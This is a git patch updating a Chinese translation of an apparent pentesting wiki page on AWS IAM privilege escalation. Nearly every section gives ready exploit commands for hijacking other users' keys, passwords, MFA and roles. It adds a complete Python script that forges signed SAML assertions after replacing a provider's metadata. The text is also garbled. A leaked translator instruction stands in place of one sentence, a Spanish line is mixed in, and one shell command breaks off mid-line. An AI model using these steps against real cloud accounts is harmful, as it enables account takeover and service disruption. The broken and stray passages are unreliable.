From 91a533803bfc65e71ad785b6b34c0308d1fe4929 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 14 Feb 2026 17:01:31 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat --- .../aws-iam-privesc/README.md | 380 +++++++++++++++--- 1 file changed, 326 insertions(+), 54 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index 32fd33f66..87d1bf321 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -4,7 +4,7 @@ ## IAM -关于 IAM 的更多信息请参见: +欲了解更多有关 IAM 的信息,请查看: {{#ref}} ../../aws-services/aws-iam-enum.md @@ -12,44 +12,44 @@ ### **`iam:CreatePolicyVersion`** -授予创建新的 IAM 策略版本的能力,通过使用 `--set-as-default` 标志可以绕过对 `iam:SetDefaultPolicyVersion` 权限的需求。这使得能够定义自定义权限。 +授予创建新的 IAM 策略版本的能力;通过使用 `--set-as-default` 标志,可绕过对 `iam:SetDefaultPolicyVersion` 权限的需求。这允许定义自定义权限。 -**Exploit Command:** +Exploit Command: ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**影响:** 直接通过允许对任何资源执行任何操作来提升权限。 +**Impact:** 通过允许对任何资源执行任何操作,直接提升权限。 ### **`iam:SetDefaultPolicyVersion`** -允许将 IAM 策略的默认版本更改为另一个已存在的版本;如果新版本拥有更多权限,可能会导致权限提升。 +允许将 IAM 策略的默认版本更改为另一个已存在的版本,若新版本具有更多权限,可能导致权限提升。 -**Bash Command:** +**Bash 命令:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**影响:** 通过授予更多权限导致间接权限提升。 +**影响:** 通过赋予更多权限实现间接权限提升。 ### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)** -允许为其他用户创建 access key ID 和 secret access key,从而可能导致权限提升。 +允许为其他用户创建 access key ID 和 secret access key,可能导致权限提升。 -**利用:** +**Exploit:** ```bash aws iam create-access-key --user-name ``` -**影响:** 通过假定另一个用户的扩展权限实现直接权限提升。 +**Impact:** 通过假定其他用户的扩展权限实现直接的权限提升。 -请注意,一个用户最多只能创建 2 个访问密钥,因此如果该用户已经有 2 个访问密钥,你需要 `iam:DeleteAccessKey` 权限来删除其中一个,才能创建新的: +注意,每个用户最多只能创建 2 个访问密钥,因此如果某个用户已经有 2 个访问密钥,你需要拥有权限 `iam:DeleteAccessKey` 来删除其中一个,才能创建新的访问密钥: ```bash aws iam delete-access-key --uaccess-key-id ``` ### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`** -如果你可以创建一个新的虚拟 MFA 设备并在另一个用户上启用它,你就可以为该用户实际注册你自己的 MFA,然后使用他们的凭证请求一个基于 MFA 的会话。 +如果你可以创建一个新的虚拟 MFA 设备并在另一个用户上启用它,你就可以有效地为该用户注册你自己的 MFA,然后为他们的凭据请求一个基于 MFA 的会话。 -**利用:** +**Exploit:** ```bash # Create a virtual MFA device (this returns the serial and the base32 seed) aws iam create-virtual-mfa-device --virtual-mfa-device-name @@ -58,51 +58,77 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name aws iam enable-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impact:** 通过接管用户的 MFA 注册来实现 Direct privilege escalation(然后使用其权限)。 +**影响:** 通过接管用户的 MFA 注册来直接提权(然后使用其权限)。 ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -允许创建或更新 login profile,包括为 AWS 控制台登录设置密码,从而导致 direct privilege escalation。 +允许创建或更新登录配置文件,包括为 AWS 控制台登录设置密码,从而导致直接提权。 -**Exploit for Creation:** +**Exploit 用于创建:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Exploit 用于更新:** +**Exploit 用于更新:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**影响:** 直接特权升级,通过以 "any" 用户登录。 +**Impact:** 通过以 "any" 用户登录直接提升权限。 ### **`iam:UpdateAccessKey`** -允许启用被禁用的 access key,如果攻击者拥有该被禁用的 access key,可能导致未经授权的访问。 +允许启用已禁用的访问密钥,如果攻击者持有该已禁用的密钥,可能导致未经授权的访问。 -**利用:** +**Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**影响:** 通过重新激活 access keys 直接实现 privilege escalation。 +**影响:** 通过重新激活 access keys 直接提权。 ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -允许为特定 AWS 服务(例如 CodeCommit、Amazon Keyspaces)生成或重置凭证,从而继承关联用户的权限。 +允许为特定 AWS 服务(最常见的是 **CodeCommit**)生成或重置凭证。 这些 **不是** AWS API keys:它们是用于特定服务的 **username/password** 凭证,只能在该服务接受它们的地方使用。 -**Exploit for Creation:** +**创建:** ```bash -aws iam create-service-specific-credential --user-name --service-name +aws iam create-service-specific-credential --user-name --service-name codecommit.amazonaws.com ``` -**Exploit 用于 Reset:** +保存: + +- `ServiceSpecificCredential.ServiceUserName` +- `ServiceSpecificCredential.ServicePassword` + +**示例:** +```bash +# Find a repository you can access as the target +aws codecommit list-repositories + +export REPO_NAME="" +export AWS_REGION="us-east-1" # adjust if needed + +# Git URL (HTTPS) +export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}" + +# Clone and use the ServiceUserName/ServicePassword when prompted +git clone "$CLONE_URL" +cd "$REPO_NAME" +``` +> 注意:服务密码通常包含诸如 `+`、`/` 和 `=` 的字符。使用交互式提示通常最方便。如果将其嵌入到 URL 中,请先进行 URL-encode。 + +此时你可以读取目标用户在 CodeCommit 中可访问的任何内容(例如,a leaked credentials file)。如果你从该仓库检索到 **AWS access keys**,用这些密钥配置一个新的 AWS CLI profile,然后访问资源(例如,从 Secrets Manager 读取一个 flag): +```bash +aws secretsmanager get-secret-value --secret-id --profile +``` +**重置:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**影响:** 在用户的服务权限范围内直接进行权限提升。 +**Impact:** 提权到目标用户在该服务下的权限(如果你使用从该服务检索到的数据进行 pivot,可能进一步扩展权限)。 ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -允许将策略附加到用户或组,从而通过继承附加策略的权限直接提升权限。 +允许将策略附加到用户或组,直接通过继承所附策略的权限来提升权限。 **针对用户的利用:** ```bash @@ -112,17 +138,17 @@ aws iam attach-user-policy --user-name --policy-arn "" ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**影响:** 直接 privilege escalation 到策略授予的任何内容。 +**影响:** 直接获得策略授予的任意权限。 ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -允许将策略附加或放置到角色、用户或组,从而通过授予额外权限实现直接 privilege escalation。 +允许将策略附加或放置到角色、用户或组,从而通过授予额外权限实现直接权限提升。 -**Exploit for Role:** +**针对角色的利用:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` -**针对 Inline Policies 的 Exploit:** +**Exploit 用于 Inline Policies:** ```bash aws iam put-user-policy --user-name --policy-name "" \ --policy-document "file:///path/to/policy.json" @@ -133,7 +159,7 @@ aws iam put-group-policy --group-name --policy-name "" aws iam put-role-policy --role-name --policy-name "" \ --policy-document file:///path/to/policy.json ``` -你可以使用如下策略: +请把 README.md 的内容粘贴过来。我会把可翻译的英文翻成中文,保留代码、技术名、平台名(如 aws、gcp、Workspace 等)、links/paths、以及所有 markdown/html 标签不变。 ```json { "Version": "2012-10-17", @@ -146,28 +172,28 @@ aws iam put-role-policy --role-name --policy-name "" \ ] } ``` -**影响:** 通过在策略中添加权限实现直接的 privilege escalation。 +**影响:** 通过将权限添加到策略来直接实现权限提升。 ### **`iam:AddUserToGroup`** -允许将自己添加到 IAM 组,通过继承该组的权限来进行 privilege escalation。 +允许将自己添加到一个 IAM 组,通过继承该组的权限来提升权限。 -**Exploit:** +**利用:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**影响:** 直接将权限提升至该组的权限级别。 +**影响:** 直接将权限提升到该组的权限级别。 ### **`iam:UpdateAssumeRolePolicy`** -允许修改角色的 assume role policy 文档,从而可假设该角色并获得其关联权限。 +允许更改角色的 assume role policy 文档,从而能够假设该角色并获得其关联的权限。 -**利用方式:** +**Exploit:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -当策略如下所示,授予用户 assume the role 的权限: +当策略如下所示时,会授予用户以该角色身份的权限: ```json { "Version": "2012-10-17", @@ -182,38 +208,38 @@ aws iam update-assume-role-policy --role-name \ ] } ``` -**影响:** 通过假定任意角色的权限直接实现权限提升。 +**影响:** 通过假设任意角色的权限直接实现特权提升。 ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -允许上传用于在 CodeCommit 上进行身份验证的 SSH 公钥,以及停用 MFA 设备,可能导致间接权限提升。 +允许上传 SSH 公钥以用于对 CodeCommit 的身份验证,以及停用 MFA 设备,从而可能导致间接权限提升。 -**Exploit for SSH Key Upload:** +**SSH 密钥上传利用:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` -**用于停用 MFA 的 Exploit:** +**Exploit 用于 MFA 停用:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` -**影响:** 通过启用 CodeCommit 访问或禁用 MFA 保护来间接提升权限。 +**影响:** 间接权限提升,通过启用 CodeCommit 访问或禁用 MFA 保护实现。 ### **`iam:ResyncMFADevice`** -允许重新同步 MFA 设备,可能通过操控 MFA 保护导致间接权限提升。 +允许重新同步 MFA 设备,可能通过操纵 MFA 保护导致间接权限提升。 -**Bash 命令:** +**Bash Command:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**影响:** 通过添加或操纵 MFA devices 间接提权。 +**影响:** 通过添加或操作 MFA 设备实现间接权限提升。 ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -拥有这些权限,你可以**更改 SAML 连接的 XML 元数据**。然后,你可以滥用**SAML federation**来**登录**任何**信任它的 role**。 +拥有这些权限,您可以**更改 SAML 连接的 XML 元数据**。然后,您可以滥用**SAML federation**来**login**到任何**信任它的 role**。 -注意这样做会导致**合法用户无法登录**。不过,你可以获取 XML,把自己的元数据放进去,登录,然后把之前的配置恢复回去。 +注意,这样做会导致**合法用户将无法 login**。不过,您可以获取该 XML,把自己的放入,login,然后把之前的配置改回去。 ```bash # List SAMLs aws iam list-saml-providers @@ -229,12 +255,258 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar # Optional: Set the previous XML back aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` -> [!NOTE] -> TODO: 一个能够生成 SAML metadata 并以指定 role 登录的工具 +**端到端攻击:** + +1. 枚举 SAML provider 和信任它的 role: +```bash +export AWS_REGION=${AWS_REGION:-us-east-1} + +aws iam list-saml-providers +export PROVIDER_ARN="arn:aws:iam:::saml-provider/" + +# Backup current metadata so you can restore it later: +aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json + +# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML: +aws iam list-roles | grep -i saml || true +aws iam get-role --role-name "" +export ROLE_ARN="arn:aws:iam:::role/" +``` +2. 伪造 IdP metadata + 已签名的 SAML assertion,用于 role/provider 对: +```bash +python3 -m venv /tmp/saml-federation-venv +source /tmp/saml-federation-venv/bin/activate +pip install lxml signxml + +# Create /tmp/saml_forge.py from the expandable below first: +python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json +python3 - <<'PY' +import json +j=json.load(open("/tmp/saml-forge.json","r")) +open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"]) +open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"]) +print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64") +PY +``` +
+可展开: /tmp/saml_forge.py 辅助脚本 (元数据 + 已签名的断言) +```python +#!/usr/bin/env python3 +from __future__ import annotations + +import argparse +import base64 +import datetime as dt +import json +import os +import subprocess +import tempfile +import uuid + +from lxml import etree +from signxml import XMLSigner, methods + + +def _run(cmd: list[str]) -> str: +p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) +return p.stdout + + +def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: +key_path = os.path.join(tmpdir, "key.pem") +cert_path = os.path.join(tmpdir, "cert.pem") +_run( +[ +"openssl", +"req", +"-x509", +"-newkey", +"rsa:2048", +"-keyout", +key_path, +"-out", +cert_path, +"-days", +"3650", +"-nodes", +"-subj", +"/CN=attacker-idp", +] +) +return key_path, cert_path + + +def _pem_cert_to_b64(cert_pem: str) -> str: +lines: list[str] = [] +for line in cert_pem.splitlines(): +if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line: +continue +line = line.strip() +if line: +lines.append(line) +return "".join(lines) + + +def make_metadata_xml(cert_b64: str) -> str: +return f""" + + + + + +{cert_b64} + + + + + + +""" + + +def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: +ns = { +"saml2p": "urn:oasis:names:tc:SAML:2.0:protocol", +"saml2": "urn:oasis:names:tc:SAML:2.0:assertion", +} + +issue_instant = dt.datetime.now(dt.timezone.utc) +not_before = issue_instant - dt.timedelta(minutes=2) +not_on_or_after = issue_instant + dt.timedelta(minutes=10) + +resp_id = "_" + str(uuid.uuid4()) +assertion_id = "_" + str(uuid.uuid4()) + +response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns) +response.set("ID", resp_id) +response.set("Version", "2.0") +response.set("IssueInstant", issue_instant.isoformat()) +response.set("Destination", "https://signin.aws.amazon.com/saml") + +issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer")) +issuer.text = "https://attacker.invalid/idp" + +status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status")) +status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode")) +status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success") + +assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion")) +assertion.set("ID", assertion_id) +assertion.set("Version", "2.0") +assertion.set("IssueInstant", issue_instant.isoformat()) + +a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer")) +a_issuer.text = "https://attacker.invalid/idp" + +subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject")) +name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID")) +name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified") +name_id.text = "attacker" + +subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation")) +subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer") +subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData")) +subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat()) +subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml") + +conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions")) +conditions.set("NotBefore", not_before.isoformat()) +conditions.set("NotOnOrAfter", not_on_or_after.isoformat()) + +audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction")) +audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience")) +audience.text = "https://signin.aws.amazon.com/saml" + +attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement")) + +attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute")) +attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role") +attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue")) +attr_role_value.text = f"{role_arn},{principal_arn}" + +attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute")) +attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName") +attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue")) +attr_session_value.text = "saml-session" + +key_bytes = open(key_pem, "rb").read() +cert_bytes = open(cert_pem, "rb").read() + +signer = XMLSigner( +method=methods.enveloped, +signature_algorithm="rsa-sha256", +digest_algorithm="sha256", +c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#", +) +signed_assertion = signer.sign( +assertion, +key=key_bytes, +cert=cert_bytes, +reference_uri=f"#{assertion_id}", +id_attribute="ID", +) + +response.remove(assertion) +response.append(signed_assertion) + +return etree.tostring(response, xml_declaration=True, encoding="utf-8") + + +def main() -> None: +ap = argparse.ArgumentParser() +ap.add_argument("--role-arn", required=True) +ap.add_argument("--principal-arn", required=True) +args = ap.parse_args() + +with tempfile.TemporaryDirectory() as tmp: +key_path, cert_path = _openssl_make_key_and_cert(tmp) +cert_pem = open(cert_path, "r", encoding="utf-8").read() +cert_b64 = _pem_cert_to_b64(cert_pem) + +metadata_xml = make_metadata_xml(cert_b64) +saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) +saml_b64 = base64.b64encode(saml_xml).decode("ascii") + +print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64})) + + +if __name__ == "__main__": +main() +``` +
+ +3. 将 SAML 提供者元数据更新为你的 IdP 证书,假设该角色,并使用返回的 STS 凭证: +```bash +aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \ +--saml-metadata-document file:///tmp/saml-metadata.xml + +# Assertion is base64 and can be long. Keep it on one line: +ASSERTION_B64=$(tr -d '\n' [!WARNING] +> 更新 SAML provider 的元数据会造成中断:在你的元数据生效期间,合法的 SSO 用户可能无法进行身份验证。 ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(不确定) 如果攻击者拥有这些 **权限**,他可以添加一个新的 **Thumbprint**,从而能够登录所有信任该 provider 的角色。 +(不确定) 如果 attacker 拥有这些 **permissions**,他可能会添加一个新的 **Thumbprint**,从而能够 login 到所有信任该 provider 的 roles。 ```bash # List providers aws iam list-open-id-connect-providers @@ -245,7 +517,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -此权限允许攻击者更新用户的权限边界,可能通过允许他们执行通常受现有权限限制的操作来提升其权限。 +此权限允许攻击者更新用户的 permissions boundary,可能提升其权限,使其能够执行通常被其现有权限限制的操作。 ```bash aws iam put-user-permissions-boundary \ --user-name \ @@ -268,7 +540,7 @@ Un ejemplo de una política que no aplica ninguna restricción es: ``` ### `iam:PutRolePermissionsBoundary` -拥有 `iam:PutRolePermissionsBoundary` 的主体可以在现有角色上设置权限边界。风险在于,当拥有此权限的人更改角色的边界时:他们可能不当地限制操作(导致服务中断),或者如果附加了一个宽松的边界,则会实际扩展该角色的能力并升级权限。 +具有 iam:PutRolePermissionsBoundary 的主体可以在现有角色上设置权限边界。风险出现在拥有此权限的人更改角色的边界时:他们可能不恰当地限制操作(可能导致服务中断),或者如果附加了一个宽松的权限边界,则可能实质性地扩展该角色的能力并导致权限提升。 ```bash aws iam put-role-permissions-boundary \ --role-name \